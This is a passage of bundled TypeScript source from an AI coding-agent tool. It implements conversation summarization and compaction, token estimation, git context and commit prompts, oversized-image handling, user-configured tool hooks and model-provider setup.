\"- files and code touched (paths, key changes)\",\n \"- tool results that matter (errors, key outputs)\",\n \"- outstanding TODOs and next steps\",\n \"Output only the summary, no preamble.\",\n].join(\"\\n\");\n\n// Cap the summarizer's own input: a long session's dropped transcript can be\n// megabytes of tool output, and the summary call is billed too. The head\n// (original task) and tail (most recent state) carry what a summary needs.\nconst MAX_SUMMARY_INPUT_CHARS = 80_000;\nconst SUMMARY_HEAD_CHARS = 24_000;\n\nexport function truncateSummaryInput(transcript: string): string {\n if (transcript.length <= MAX_SUMMARY_INPUT_CHARS) return transcript;\n const tailChars = MAX_SUMMARY_INPUT_CHARS - SUMMARY_HEAD_CHARS;\n const omitted = transcript.length - MAX_SUMMARY_INPUT_CHARS;\n return `${transcript.slice(0, SUMMARY_HEAD_CHARS)}\\n[... ${omitted} characters omitted ...]\\n${transcript.slice(-tailChars)}`;\n}\n\nfunction serializeMessage(message: CoreMessage): string {\n if (typeof message.content === \"string\") {\n return `${message.role}: ${message.content}`;\n }\n const parts = message.content.map((part) => {\n if (part.type === \"text\") return part.text;\n if (part.type === \"tool-call\")\n return `[tool-call ${part.toolName}] ${JSON.stringify(part.args)}`;\n if (part.type === \"tool-result\")\n return `[tool-result ${part.toolName}] ${JSON.stringify(part.result)}`;\n return `[${part.type}]`;\n });\n return `${message.role}: ${parts.join(\"\\n\")}`;\n}\n\nexport async function summarizeMessages(\n messages: CoreMessage[],\n model: LanguageModelV1,\n signal?: AbortSignal,\n // The calling model's configured sampling temperature, forwarded so\n // endpoints that mandate one explicit value don't reject the summary call.\n temperature?: number,\n): Promise<string> {\n const transcript = truncateSummaryInput(messages.map(serializeMessage).join(\"\\n\"));\n const { text } = await generateText({\n model,\n system: SUMMARY_SYSTEM_PROMPT,\n prompt: `Summarize this conversation so far:\\n\\n${transcript}`,\n temperature,\n // A hung relay must not stall the whole turn on the summary: cap it at\n // 60s and let the caller's abort (Esc) cut it short as well; the caller\n // falls back to the truncation placeholder on any failure.\n abortSignal: signal\n ? AbortSignal.any([signal, AbortSignal.timeout(60_000)])\n : AbortSignal.timeout(60_000),\n });\n return text.trim();\n}\n\nexport interface CompactOptions {\n // Manual /compact: compact even when under the token budget, dropping whole\n // turns down to MIN_KEPT_MESSAGES instead of refusing. Auto-compaction in\n // the agent loop never forces.\n force?: boolean;\n}\n\nexport function compactMessages(\n messages: CoreMessage[],\n maxTokens: number,\n opts: CompactOptions = {},\n): CompactionResult {\n // Forced compaction uses a zero budget: the under-budget exits below never\n // fire, so turns are dropped until only MIN_KEPT_MESSAGES would remain.\n const limit = opts.force ? 0 : maxTokens;\n if (estimateTokens(messages) <= limit) {\n return { messages, compacted: false, droppedCount: 0 };\n }\n\n const first = messages[0];\n const hasSystem = first?.role === \"system\";\n const head = hasSystem && first ? [first] : [];\n const rest = hasSystem ? messages.slice(1) : messages.slice();\n\n // Sum each turn's tokens once and subtract incrementally while dropping:\n // rebuilding the candidate array and re-estimating it whole after every\n // dropped turn made forced /compact O(n²) on long histories. Per-message\n // estimates are cached (tokens.ts), so the placeholder's tiny string is\n // the only fresh work per iteration.\n const messageTokens = rest.map((message) => estimateMessageTokens(message));\n const turns: { length: number; tokens: number }[] = [];\n for (let i = 0; i < rest.length; i++) {\n const current = turns[turns.length - 1];\n if (rest[i]?.role === \"user\" || !current) {\n turns.push({ length: 1, tokens: messageTokens[i] ?? 0 });\n } else {\n current.length += 1;\n current.tokens += messageTokens[i] ?? 0;\n }\n }\n\n const headTokens = estimateTokens(head);\n const restTokens = estimateTokens(rest);\n let droppedCount = 0;\n let droppedTokens = 0;\n for (const turn of turns) {\n if (rest.length - droppedCount - turn.length < MIN_KEPT_MESSAGES) {\n break;\n }\n droppedCount += turn.length;\n droppedTokens += turn.tokens;\n const candidateTokens =\n headTokens +\n estimateMessageTokens(placeholderMessage(droppedCount)) +\n (restTokens - droppedTokens);\n if (candidateTokens <= limit) {\n break;\n }\n }\n\n if (droppedCount === 0) {\n return { messages, compacted: false, droppedCount: 0 };\n }\n\n return {\n messages: [...head, placeholderMessage(droppedCount), ...rest.slice(droppedCount)],\n compacted: true,\n droppedCount,\n };\n}\n","import type { CoreMessage } from \"../core/messages\";\n\nconst CHARS_PER_TOKEN = 4;\nconst MESSAGE_OVERHEAD = 4;\nconst IMAGE_PART_TOKENS = 1024;\n\n// CJK characters map to roughly one token each, while Latin text averages\n// ~4 chars/token. Weight a CJK char as CHARS_PER_TOKEN units so the final\n// division lands near 1 token/char — otherwise Chinese-heavy conversations\n// are underestimated ~4x. Ranges: CJK punctuation, kana, ext-A, unified\n// ideographs, compat ideographs, fullwidth forms. Numeric code-unit\n// comparisons instead of a per-char regex: several times faster on the long\n// tool-result strings this runs over, with identical results (surrogate\n// halves never fall in these ranges).\nfunction isCjkCode(code: number): boolean {\n return (\n (code >= 0x3000 && code <= 0x30ff) ||\n (code >= 0x3400 && code <= 0x4dbf) ||\n (code >= 0x4e00 && code <= 0x9fff) ||\n (code >= 0xf900 && code <= 0xfaff) ||\n (code >= 0xff00 && code <= 0xffef)\n );\n}\n\nfunction textWeight(text: string): number {\n let cjk = 0;\n for (let i = 0; i < text.length; i++) {\n if (isCjkCode(text.charCodeAt(i))) cjk++;\n }\n return text.length + cjk * (CHARS_PER_TOKEN - 1);\n}\n\nfunction contentCharLength(message: CoreMessage): number {\n if (message.role === \"tool\") {\n let chars = 0;\n for (const part of message.content) {\n chars += textWeight(JSON.stringify(part.result ?? null));\n }\n return chars;\n }\n if (typeof message.content === \"string\") {\n return textWeight(message.content);\n }\n let chars = 0;\n for (const part of message.content) {\n if (part.type === \"text\" || part.type === \"reasoning\") {\n chars += textWeight(part.text);\n } else if (part.type === \"tool-call\") {\n chars += textWeight(part.toolName) + textWeight(JSON.stringify(part.args ?? null));\n }\n }\n return chars;\n}\n\nfunction imagePartCount(message: CoreMessage): number {\n if (typeof message.content === \"string\" || message.role === \"tool\") return 0;\n return message.content.filter((part) => part.type === \"image\" || part.type === \"file\").length;\n}\n\n// Messages are immutable once they enter a loop's history (the system\n// message slot is replaced, never edited in place — see syncSystemMessage\n// in agent/loop.ts), so an identity-keyed cache never serves a stale count.\n// The agent loop re-estimates the whole history every step; caching per\n// message object keeps that O(new messages) instead of O(history), and the\n// JSON.stringify of big tool results/args in contentCharLength runs once\n// per message instead of once per step.\nconst tokenCache = new WeakMap<CoreMessage, number>();\n\nexport function estimateMessageTokens(message: CoreMessage): number {\n const cached = tokenCache.get(message);\n if (cached !== undefined) return cached;\n const tokens =\n Math.ceil(contentCharLength(message) / CHARS_PER_TOKEN) +\n MESSAGE_OVERHEAD +\n imagePartCount(message) * IMAGE_PART_TOKENS;\n tokenCache.set(message, tokens);\n return tokens;\n}\n\nexport function estimateTokens(messages: CoreMessage[]): number {\n return messages.reduce((total, message) => total + estimateMessageTokens(message), 0);\n}\n","import { execFileSync } from \"node:child_process\";\n\nconst GIT_TIMEOUT_MS = 2000;\nconst GIT_MAX_BUFFER = 8 * 1024 * 1024;\n\nexport const COMMIT_DIFF_MAX_LINES = 2000;\nexport const WORKING_DIFF_MAX_LINES = 2000;\n\n// Synchronous by design: callers (system-prompt sync, slash commands) need the\n// result inline. Every failure — not a repo, git missing, timeout, oversized\n// output — returns null so the agent can never crash on git state.\nexport function runGit(args: string[], cwd: string): string | null {\n try {\n const out = execFileSync(\"git\", args, {\n cwd,\n timeout: GIT_TIMEOUT_MS,\n encoding: \"utf8\",\n maxBuffer: GIT_MAX_BUFFER,\n stdio: [\"ignore\", \"pipe\", \"ignore\"],\n });\n return out.replace(/\\n$/, \"\");\n } catch {\n return null;\n }\n}\n\nexport function isGitRepo(cwd: string): boolean {\n return runGit([\"rev-parse\", \"--is-inside-work-tree\"], cwd) === \"true\";\n}\n\nexport interface GitSummary {\n branch: string;\n dirtyCount: number;\n recentCommits: string[];\n}\n\nexport function getGitSummary(cwd: string): GitSummary | null {\n const branch = runGit([\"rev-parse\", \"--abbrev-ref\", \"HEAD\"], cwd);\n if (branch === null) return null;\n const status = runGit([\"status\", \"--porcelain\"], cwd) ?? \"\";\n const dirtyCount = status === \"\" ? 0 : status.split(\"\\n\").length;\n const log = runGit([\"log\", \"--oneline\", \"-3\"], cwd) ?? \"\";\n return { branch, dirtyCount, recentCommits: log === \"\" ? [] : log.split(\"\\n\") };\n}\n\nconst GIT_SUMMARY_CACHE_TTL_MS = 15_000;\n\nconst gitSummaryCache = new Map<string, { at: number; summary: GitSummary | null }>();\n\n// System-prompt sync calls getGitSummary every turn — in every loop, including\n// each subagent's — and the underlying sync git calls block the event loop for\n// up to the 2s timeout, so summaries are cached per cwd for a short TTL.\n// Failures (null) are cached too: a plain directory rarely turns into a repo\n// within 15s, and re-probing one every turn is the common case outside repos.\nexport function getGitSummaryCached(cwd: string): GitSummary | null {\n const now = Date.now();\n const hit = gitSummaryCache.get(cwd);\n if (hit && now - hit.at < GIT_SUMMARY_CACHE_TTL_MS) return hit.summary;\n const summary = getGitSummary(cwd);\n gitSummaryCache.set(cwd, { at: now, summary });\n return summary;\n}\n\n// Test hook: drop all cached summaries so the next call shells out to git.\nexport function resetGitSummaryCache(): void {\n gitSummaryCache.clear();\n}\n\nexport function formatGitSummary(summary: GitSummary): string {\n const lines = [\n \"Git context for the working directory (refreshed each turn):\",\n `Branch: ${summary.branch}`,\n summary.dirtyCount === 0\n ? \"Working tree: clean\"\n : `Working tree: ${summary.dirtyCount} file(s) with uncommitted changes`,\n ];\n if (summary.recentCommits.length > 0) {\n lines.push(\"Recent commits:\", ...summary.recentCommits);\n }\n return lines.join(\"\\n\");\n}\n\nexport function truncateLines(\n text: string,\n maxLines: number,\n): { text: string; truncated: boolean } {\n const lines = text.split(\"\\n\");\n if (lines.length <= maxLines) return { text, truncated: false };\n return { text: lines.slice(0, maxLines).join(\"\\n\"), truncated: true };\n}\n\nfunction collectDiffs(cwd: string): { staged: string; unstaged: string } {\n return {\n staged: runGit([\"diff\", \"--cached\"], cwd) ?? \"\",\n unstaged: runGit([\"diff\"], cwd) ?? \"\",\n };\n}\n\nexport interface CommitContext {\n status: string;\n diff: string;\n diffTruncated: boolean;\n recentLog: string;\n}\n\n// null means nothing to commit (clean tree). Untracked files still count:\n// they show up in the status even though `git diff` has no output for them.\nexport function collectCommitContext(cwd: string): CommitContext | null {\n if (!isGitRepo(cwd)) return null;\n const status = runGit([\"status\", \"--short\"], cwd) ?? \"\";\n const { staged, unstaged } = collectDiffs(cwd);\n if (status === \"\" && staged === \"\" && unstaged === \"\") return null;\n const rawDiff = [staged, unstaged].filter((part) => part !== \"\").join(\"\\n\");\n const { text: diff, truncated } = truncateLines(rawDiff, COMMIT_DIFF_MAX_LINES);\n const recentLog = runGit([\"log\", \"--oneline\", \"-5\"], cwd) ?? \"\";\n return { status, diff, diffTruncated: truncated, recentLog };\n}\n\nexport function buildCommitPrompt(context: CommitContext, instructions = \"\"): string {\n const parts = [\n \"Analyze the uncommitted git changes below and create a commit for them.\",\n \"\",\n \"Requirements:\",\n \"- Draft a commit message in Conventional Commits style (e.g. `feat(scope): summary`), consistent with the repository's recent commit history.\",\n \"- Stage the relevant files and create the commit with the bash tool (`git add` + `git commit`), through the normal permission flow.\",\n \"- Do not push and do not amend existing commits.\",\n \"- After committing, briefly report the commit hash and message.\",\n ];\n if (instructions) {\n parts.push(\"\", `Additional instructions from the user: ${instructions}`);\n }\n parts.push(\"\", \"## git status --short\", \"```\", context.status || \"(clean)\", \"```\");\n if (context.recentLog) {\n parts.push(\"\", \"## recent commits (git log --oneline -5)\", \"```\", context.recentLog, \"```\");\n }\n if (context.diff) {\n parts.push(\"\", \"## git diff (staged + unstaged)\", \"```diff\", context.diff, \"```\");\n if (context.diffTruncated) {\n parts.push(`(diff truncated to ${COMMIT_DIFF_MAX_LINES} lines)`);\n }\n }\n return parts.join(\"\\n\");\n}\n\nexport interface WorkingDiff {\n status: string;\n diff: string;\n truncated: boolean;\n}\n\nexport function collectWorkingDiff(cwd: string): WorkingDiff | null {\n if (!isGitRepo(cwd)) return null;\n const status = runGit([\"status\", \"--short\"], cwd) ?? \"\";\n const { staged, unstaged } = collectDiffs(cwd);\n const sections: string[] = [];\n if (staged) sections.push(`# Staged changes\\n${staged}`);\n if (unstaged) sections.push(`# Unstaged changes\\n${unstaged}`);\n const { text, truncated } = truncateLines(sections.join(\"\\n\"), WORKING_DIFF_MAX_LINES);\n return { status, diff: text, truncated };\n}\n","// The AI SDK's APICallError carries the raw response body; relays often put\n// the real failure reason there while the message stays generic. Shared by\n// the retry policy (llm/retry.ts) and the oversized-image detector\n// (core/image.ts) — kept in core so neither has to import across layers.\nexport function responseBodyOf(error: Error): string | undefined {\n const body = (error as { responseBody?: unknown }).responseBody;\n return typeof body === \"string\" && body.length > 0 ? body : undefined;\n}\n","import { responseBodyOf } from \"./http-error\";\nimport type { CoreMessage } from \"./messages\";\n\n// Images with a longer side above this many pixels are downsampled before\n// being sent (clipboard/@mention paths) and stripped on retry when a provider\n// rejects them.\nexport const MAX_IMAGE_DIMENSION = 2000;\n// Byte-size fallback for images whose dimensions cannot be probed.\nexport const OVERSIZED_IMAGE_FALLBACK_BYTES = 5 * 1024 * 1024;\nexport const IMAGE_REMOVED_PLACEHOLDER = \"[image removed: too large for the model]\";\n\nexport interface ImageDimensions {\n width: number;\n height: number;\n}\n\nconst PNG_SIGNATURE = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a];\n\nfunction probePng(buf: Buffer): ImageDimensions | null {\n if (buf.length < 24) return null;\n for (let i = 0; i < PNG_SIGNATURE.length; i++) {\n if (buf[i] !== PNG_SIGNATURE[i]) return null;\n }\n if (buf.toString(\"ascii\", 12, 16) !== \"IHDR\") return null;\n return { width: buf.readUInt32BE(16), height: buf.readUInt32BE(20) };\n}\n\n// Start-of-frame markers that carry dimensions (excludes DHT/JPG/DAC/RST).\nconst JPEG_SOF_MARKERS = new Set([\n 0xc0, 0xc1, 0xc2, 0xc3, 0xc5, 0xc6, 0xc7, 0xc9, 0xca, 0xcb, 0xcd, 0xce, 0xcf,\n]);\n\nfunction probeJpeg(buf: Buffer): ImageDimensions | null {\n if (buf.length < 4 || buf[0] !== 0xff || buf[1] !== 0xd8) return null;\n let offset = 2;\n while (offset + 3 < buf.length) {\n if (buf[offset] !== 0xff) return null;\n const marker = buf[offset + 1];\n if (marker === undefined) return null;\n if (marker === 0xd8 || marker === 0x01 || (marker >= 0xd0 && marker <= 0xd7)) {\n offset += 2;\n continue;\n }\n const length = buf.readUInt16BE(offset + 2);\n if (length < 2) return null;\n if (JPEG_SOF_MARKERS.has(marker)) {\n if (offset + 9 > buf.length) return null;\n return { height: buf.readUInt16BE(offset + 5), width: buf.readUInt16BE(offset + 7) };\n }\n offset += 2 + length;\n }\n return null;\n}\n\nfunction probeGif(buf: Buffer): ImageDimensions | null {\n if (buf.length < 10) return null;\n const signature = buf.toString(\"ascii\", 0, 6);\n if (signature !== \"GIF87a\" && signature !== \"GIF89a\") return null;\n return { width: buf.readUInt16LE(6), height: buf.readUInt16LE(8) };\n}\n\nfunction probeWebp(buf: Buffer): ImageDimensions | null {\n if (buf.length < 30) return null;\n if (buf.toString(\"ascii\", 0, 4) !== \"RIFF\" || buf.toString(\"ascii\", 8, 12) !== \"WEBP\") {\n return null;\n }\n const chunk = buf.toString(\"ascii\", 12, 16);\n if (chunk === \"VP8X\") {\n return { width: 1 + buf.readUIntLE(24, 3), height: 1 + buf.readUIntLE(27, 3) };\n }\n if (chunk === \"VP8 \") {\n return {\n width: buf.readUInt16LE(26) & 0x3fff,\n height: buf.readUInt16LE(28) & 0x3fff,\n };\n }\n if (chunk === \"VP8L\") {\n if (buf[20] !== 0x2f) return null;\n const b1 = buf[21] as number;\n const b2 = buf[22] as number;\n const b3 = buf[23] as number;\n const b4 = buf[24] as number;\n return {\n width: 1 + (((b2 & 0x3f) << 8) | b1),\n height: 1 + (((b4 & 0x0f) << 10) | (b3 << 2) | ((b2 & 0xc0) >> 6)),\n };\n }\n return null;\n}\n\n// Reads pixel dimensions straight from encoded image bytes; null when the\n// format is unrecognized or the header is truncated.\nexport function probeImageDimensions(buf: Buffer): ImageDimensions | null {\n return probePng(buf) ?? probeJpeg(buf) ?? probeGif(buf) ?? probeWebp(buf);\n}\n\n// A provider rejected the request because of an oversized image: a 4xx naming\n// images together with a size/dimension keyword. The message and the response\n// body are tested together — relays often answer with a generic message and\n// put the real reason in the body. Plain \"request too large\" or\n// context-length errors never match — stripping images would not help those.\nconst IMAGE_SIZE_KEYWORDS =\n /too[\\s-]*(large|big)|exceeds?|dimensions?|resolution|size\\s*limit|max(?:imum)?[\\s-]*size/i;\n\nexport function isOversizedImageError(error: Error): boolean {\n const status = (error as { statusCode?: unknown }).statusCode;\n if (typeof status !== \"number\" || status < 400 || status >= 500) return false;\n const text = [error.message, responseBodyOf(error)]\n .filter((part): part is string => typeof part === \"string\")\n .join(\"\\n\");\n return /image/i.test(text) && IMAGE_SIZE_KEYWORDS.test(text);\n}\n\nfunction imagePartBytes(image: unknown): Buffer | null {\n if (typeof image === \"string\") {\n const base64 = image.startsWith(\"data:\") ? image.slice(image.indexOf(\",\") + 1) : image;\n try {\n return Buffer.from(base64, \"base64\");\n } catch {\n return null;\n }\n }\n if (image instanceof Uint8Array) return Buffer.from(image);\n return null;\n}\n\nexport function isOversizedImageData(buf: Buffer): boolean {\n const dims = probeImageDimensions(buf);\n if (dims) return Math.max(dims.width, dims.height) > MAX_IMAGE_DIMENSION;\n return buf.length > OVERSIZED_IMAGE_FALLBACK_BYTES;\n}\n\n// Replaces every oversized image part in the history with a text placeholder.\n// Dimension-probeable images are judged by pixels; anything else falls back\n// to the byte cap. The input array is not mutated.\nexport function stripOversizedImages(messages: CoreMessage[]): {\n messages: CoreMessage[];\n removed: number;\n} {\n let removed = 0;\n const result = messages.map((message) => {\n if (!Array.isArray(message.content)) return message;\n let changed = false;\n const content = message.content.map((part) => {\n if (part.type !== \"image\") return part;\n const bytes = imagePartBytes(part.image);\n if (!bytes || !isOversizedImageData(bytes)) return part;\n changed = true;\n removed++;\n return { type: \"text\" as const, text: IMAGE_REMOVED_PLACEHOLDER };\n });\n return changed ? ({ ...message, content } as CoreMessage) : message;\n });\n return { messages: removed > 0 ? result : messages, removed };\n}\n","import type { CoreMessage, ToolCallPart } from \"ai\";\n\nexport type { CoreMessage };\n\nexport interface ImageInput {\n path: string;\n mimeType: string;\n /** Base64-encoded image bytes. */\n data: string;\n}\n\nexport interface MultimodalInput {\n text: string;\n images: ImageInput[];\n}\n\nexport type ChatInput = string | MultimodalInput;\n\nexport interface ConversationState {\n messages: CoreMessage[];\n}\n\nexport const MISSING_TOOL_RESULT_TEXT = \"tool result missing (session was interrupted)\";\n\nexport function reconcileToolCalls(messages: CoreMessage[]): CoreMessage[] {\n const result: CoreMessage[] = [];\n let pending: { toolCallId: string; toolName: string }[] = [];\n\n const flushPending = () => {\n for (const call of pending) {\n result.push({\n role: \"tool\",\n content: [\n {\n type: \"tool-result\",\n toolCallId: call.toolCallId,\n toolName: call.toolName,\n result: MISSING_TOOL_RESULT_TEXT,\n },\n ],\n });\n }\n pending = [];\n };\n\n for (const message of messages) {\n if (message.role === \"assistant\" && Array.isArray(message.content)) {\n flushPending();\n pending = message.content\n .filter((part): part is ToolCallPart => part.type === \"tool-call\")\n .map((part) => ({ toolCallId: part.toolCallId, toolName: part.toolName }));\n } else if (message.role === \"tool\" && Array.isArray(message.content) && pending.length > 0) {\n const answered = new Set(message.content.map((part) => part.toolCallId));\n pending = pending.filter((call) => !answered.has(call.toolCallId));\n } else {\n flushPending();\n }\n result.push(message);\n }\n flushPending();\n return result;\n}\n\n// Removes the last conversation turn: the final user message and everything\n// after it (assistant text, tool calls and results belonging to that turn).\n// A leading system message is never touched. Returns the trimmed list and\n// how many messages were dropped (0 = nothing to retract).\nexport function retractLastTurn(messages: CoreMessage[]): {\n messages: CoreMessage[];\n removed: number;\n} {\n for (let i = messages.length - 1; i >= 0; i--) {\n if (messages[i]?.role === \"user\") {\n return { messages: messages.slice(0, i), removed: messages.length - i };\n }\n }\n return { messages, removed: 0 };\n}\n","import { type ChildProcess, spawn } from \"node:child_process\";\nimport type { HookConfig } from \"../config/schema\";\n\nexport type HookEvent = \"PreToolUse\" | \"PostToolUse\" | \"Stop\";\n\nexport interface HookRunContext {\n cwd: string;\n sessionId?: string;\n toolName?: string;\n toolInput?: unknown;\n}\n\nexport interface HookRunResult {\n blocked: boolean;\n reason?: string;\n warnings: string[];\n}\n\nconst STDERR_LIMIT = 2000;\nconst STDERR_CAPTURE_LIMIT = 64 * 1024;\n\ninterface CommandOutcome {\n code: number;\n stderr: string;\n timedOut: boolean;\n spawnError?: string;\n}\n\nfunction truncate(text: string): string {\n const trimmed = text.trim();\n return trimmed.length > STDERR_LIMIT ? `${trimmed.slice(0, STDERR_LIMIT)}…` : trimmed;\n}\n\n// On timeout the whole process tree must die: killing only the shell (what\n// child_process timeout does) orphans the real command. On Windows cmd.exe\n// does not exec its child — the survivor would keep running and lock the\n// working directory. On POSIX the orphaned grandchild keeps the stdio pipes\n// open, so the \"close\" event never fires and the hook hangs — hence the\n// process-group kill (the child is spawned detached, making it a group\n// leader).\nfunction killTree(pid: number | undefined): void {\n if (pid === undefined) return;\n if (process.platform === \"win32\") {\n spawn(\"taskkill\", [\"/pid\", String(pid), \"/T\", \"/F\"], { windowsHide: true }).on(\n \"error\",\n () => {},\n );\n } else {\n try {\n process.kill(-pid, \"SIGKILL\");\n } catch {\n try {\n process.kill(pid, \"SIGKILL\");\n } catch {\n // Already gone.\n }\n }\n }\n}\n\nfunction runCommand(\n hook: HookConfig,\n event: HookEvent,\n ctx: HookRunContext,\n): Promise<CommandOutcome> {\n const env: NodeJS.ProcessEnv = {\n ...process.env,\n STAR_HOOK_EVENT: event,\n STAR_CWD: ctx.cwd,\n STAR_SESSION_ID: ctx.sessionId ?? \"\",\n };\n if (ctx.toolName !== undefined) env.STAR_TOOL_NAME = ctx.toolName;\n if (ctx.toolInput !== undefined) env.STAR_TOOL_INPUT = JSON.stringify(ctx.toolInput);\n return new Promise((resolve) => {\n let child: ChildProcess;\n try {\n child = spawn(hook.command, [], {\n shell: true,\n cwd: ctx.cwd,\n env,\n windowsHide: true,\n detached: process.platform !== \"win32\",\n });\n } catch (error) {\n resolve({\n code: 1,\n stderr: \"\",\n timedOut: false,\n spawnError: error instanceof Error ? error.message : String(error),\n });\n return;\n }\n let stderr = \"\";\n let timedOut = false;\n let settled = false;\n const finish = (outcome: CommandOutcome) => {\n if (settled) return;\n settled = true;\n clearTimeout(timer);\n clearTimeout(fallback);\n resolve(outcome);\n };\n const timer = setTimeout(() => {\n timedOut = true;\n killTree(child.pid);\n child.stdout?.destroy();\n child.stderr?.destroy();\n fallback = setTimeout(() => {\n finish({ code: 1, stderr, timedOut: true });\n }, 2000);\n fallback.unref?.();\n }, hook.timeoutSec * 1000);\n let fallback: NodeJS.Timeout;\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n if (stderr.length < STDERR_CAPTURE_LIMIT) stderr += chunk.toString(\"utf8\");\n });\n child.stdout?.resume();\n child.on(\"error\", (error) => {\n finish({ code: 1, stderr, timedOut, spawnError: error.message });\n });\n child.on(\"close\", (code) => {\n finish({ code: code ?? 1, stderr, timedOut });\n });\n });\n}\n\nfunction hookMatches(hook: HookConfig, event: HookEvent, toolName?: string): boolean {\n if (hook.event !== event) return false;\n // A matcher filters by tool name; Stop carries no tool, so matchers are\n // ignored there. Invalid patterns are rejected at config load, but guard\n // anyway so a hook can never crash the agent.\n if (event === \"Stop\" || !hook.matcher) return true;\n if (toolName === undefined) return false;\n try {\n return new RegExp(hook.matcher).test(toolName);\n } catch {\n return false;\n }\n}\n\nexport async function runHooks(\n event: HookEvent,\n hooks: HookConfig[],\n ctx: HookRunContext,\n): Promise<HookRunResult> {\n const result: HookRunResult = { blocked: false, warnings: [] };\n for (const hook of hooks) {\n if (!hookMatches(hook, event, ctx.toolName)) continue;\n let outcome: CommandOutcome;\n try {\n outcome = await runCommand(hook, event, ctx);\n } catch (error) {\n result.warnings.push(\n `Hook \"${hook.command}\" (${event}) failed: ${error instanceof Error ? error.message : String(error)}`,\n );\n continue;\n }\n if (outcome.code === 0) continue;\n const stderr = truncate(outcome.stderr);\n if (event === \"PreToolUse\" && outcome.code === 2 && !outcome.timedOut) {\n result.blocked = true;\n result.reason = stderr || `hook \"${hook.command}\" exited with code 2`;\n return result;\n }\n const detail = outcome.timedOut\n ? `timed out after ${hook.timeoutSec}s`\n : outcome.spawnError\n ? `failed to start: ${outcome.spawnError}`\n : `exited with code ${outcome.code}`;\n result.warnings.push(\n `Hook \"${hook.command}\" (${event}) ${detail}${stderr ? `: ${stderr}` : \"\"}`,\n );\n }\n return result;\n}\n","import { createAnthropic } from \"@ai-sdk/anthropic\";\nimport { createOpenAI } from \"@ai-sdk/openai\";\nimport { createOpenAICompatible } from \"@ai-sdk/openai-compatible\";\nimport type { LanguageModel } from \"ai\";\nimport type { ProviderConfig, StarConfig } from \"../config/schema\";\nimport { wrapFetchWithActivity } from \"./activity\";\nimport { resolveModelConfig } from \"./registry\";\nimport { createSseNormalizingFetch } from \"./sse-normalize\";\n\nexport type ProviderMetadata = Record<string, Record<string, unknown>>;\n\nfunction resolveApiKey(provider: ProviderConfig): string {\n const fromEnv = provider.apiKeyEnv ? process.env[provider.apiKeyEnv] : undefined;\n const apiKey = fromEnv ?? provider.apiKey;\n if (!apiKey) {\n const hint = provider.apiKeyEnv\n ? `set ${provider.apiKeyEnv} or configure apiKey`\n : \"configure apiKey\";\n throw new Error(`Missing API key for provider \"${provider.name}\": ${hint}`);\n }\n return apiKey;\n}\n\nexport function createModel(config: StarConfig, modelName?: string): LanguageModel {\n const modelConfig = resolveModelConfig(config, modelName);\n const provider = config.providers.find((p) => p.name === modelConfig.provider);\n if (!provider) {\n const available = config.providers.map((p) => p.name).join(\", \") || \"(none)\";\n throw new Error(\n `Provider \"${modelConfig.provider}\" for model \"${modelConfig.name}\" not found. Available providers: ${available}`,\n );\n }\n const apiKey = resolveApiKey(provider);\n // Every protocol goes through the activity-tracking fetch so the stream\n // watchdog can see raw byte liveness (sse-normalize passes init through,\n // so the AbortSignal key survives the composition).\n const trackedFetch = wrapFetchWithActivity();\n switch (provider.protocol) {\n case \"anthropic\":\n return createAnthropic({\n baseURL: provider.baseURL,\n apiKey,\n headers: provider.headers,\n fetch: trackedFetch,\n })(modelConfig.model);\n case \"openai-compatible\":\n // The per-model config asks the relay for a terminal usage chunk\n // (stream_options.include_usage): relays following OpenAI semantics\n // (DeepSeek, Moonshot) omit usage from streams without it, which left\n // /cost, /usage and the status bar reading zero.\n return createOpenAICompatible({\n name: provider.name,\n baseURL: provider.baseURL,\n apiKey,\n headers: provider.headers,\n fetch: trackedFetch,\n })(modelConfig.model, {}, { includeUsage: true });\n case \"openai-responses\":\n return createOpenAI({\n baseURL: provider.baseURL,\n apiKey,\n headers: provider.headers,\n // Relays fronting the Responses API sometimes batch several JSON\n // events into one SSE data payload, which the SDK's parser cannot\n // read; normalize the wire format back to one event per data line.\n fetch: createSseNormalizingFetch(trackedFetch),\n }).responses(modelConfig.model);\n }\n}\n\n// Builds the per-call provider metadata carrying the model's configured\n// reasoningEffort. The metadata key must equal the provider instance name:\n// \"openai\" for the responses-protocol provider (createOpenAI fixes it), the\n// provider's own name for openai-compatible (createOpenAICompatible names the\n// instance after it). Anthropic maps effort to a thinking budget rather than\n// an effort enum — unsupported, so no metadata is produced for it. Returns\n// undefined when the model sets no reasoningEffort (request unchanged).\nexport function reasoningEffortMetadata(\n config: StarConfig,\n modelName?: string,\n): ProviderMetadata | undefined {\n const modelConfig = resolveModelConfig(config, modelName);\n if (!modelConfig.reasoningEffort) return undefined;\n const provider = config.providers.find((p) => p.name === modelConfig.provider);\n if (!provider || provider.protocol === \"anthropic\") return undefined;\n const key = provider.protocol === \"openai-responses\" ? \"openai\" : provider.name;\n return { [key]: { reasoningEffort: modelConfig.reasoningEffort } };\n}\n","// Byte-level liveness for streamed responses. The idle watchdog in stream.ts\n// only sees parsed stream parts, but relays fronting slow upstreams often\n// send SSE heartbeat comments (\": keep-alive\") while buffering — the AI SDK\n// parses and swallows those, so at the part level a healthy-but-slow stream\n// looks dead and gets cut mid-generation. Wrapping fetch here timestamps\n// every raw body chunk per request (keyed by the request's AbortSignal,\n// which the AI SDK forwards from streamText's abortSignal), letting the\n// watchdog tell \"bytes still flowing\" apart from \"connection truly silent\".\n\nexport interface StreamActivity {\n // Timestamp of the last raw body chunk (or response headers, initially).\n lastChunkAt: number;\n}\n\nconst trackers = new WeakMap<AbortSignal, StreamActivity>();\n\nexport function streamActivity(signal: AbortSignal): StreamActivity | undefined {\n return trackers.get(signal);\n}\n\n// Registers a tracker for a signal. Production code should never call this —\n// wrapFetchWithActivity registers on its own; this exists so tests can fake\n// byte-level liveness for a streamChat call without going through fetch.\nexport function registerStreamActivity(signal: AbortSignal): StreamActivity {\n const tracker: StreamActivity = { lastChunkAt: Date.now() };\n trackers.set(signal, tracker);\n return tracker;\n}\n\nexport function wrapFetchWithActivity(baseFetch: typeof fetch = fetch): typeof fetch {\n return async (input, init) => {\n const response = await baseFetch(input, init);\n const signal = init?.signal ?? (input instanceof Request ? input.signal : null);\n if (!signal || !response.body) return response;\n const tracker: StreamActivity = { lastChunkAt: Date.now() };\n trackers.set(signal, tracker);\n const reader = response.body.getReader();\n const body = new ReadableStream<Uint8Array>({\n async pull(controller) {\n try {\n const { done, value } = await reader.read();\n if (done) {\n controller.close();\n return;\n }\n tracker.lastChunkAt = Date.now();\n 